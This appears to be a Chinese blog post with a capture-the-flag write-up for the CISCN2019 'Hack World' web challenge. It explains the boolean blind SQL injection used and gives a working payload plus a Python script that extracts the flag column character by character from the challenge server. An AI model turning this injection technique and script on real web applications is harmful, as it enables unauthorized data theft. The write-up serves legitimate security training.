[CISCN2019 华北赛区 Day2 Web1]Hack World

题目链接:[CISCN2019 华北赛区 Day2 Web1]Hack World

打开环境后如下所示。

尝试输入 1、2、3、4、...,发现仅存在三种结果。

即 1 时,输出 "Hello, glzjin wants a girlfriend."。

2 时,输出 "Do you want to be my girlfriend?"。

其他,输出 "Error Occured When Fetch Result."。

且存在对用户输入的检测。

还有个意义不明的信息。

通过 fuzzing,可以发现后端对什么关键词进行了检测。

因此,这里使用布尔盲注进行读取数据(题目中存在提示,只需要读取 flag 表中的 flag 字段)。

Payload:if(ascii(substr((select(database())),1,1))>99,1,2)

# 二分法
import requests

url = "http://75073420-9c74-41e5-b9fb-6bfe86d0efc8.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf+right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload} 
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

参考:

posted @ 2024-11-10 22:36  imtaieee  阅读(65)  评论(0编辑  收藏  举报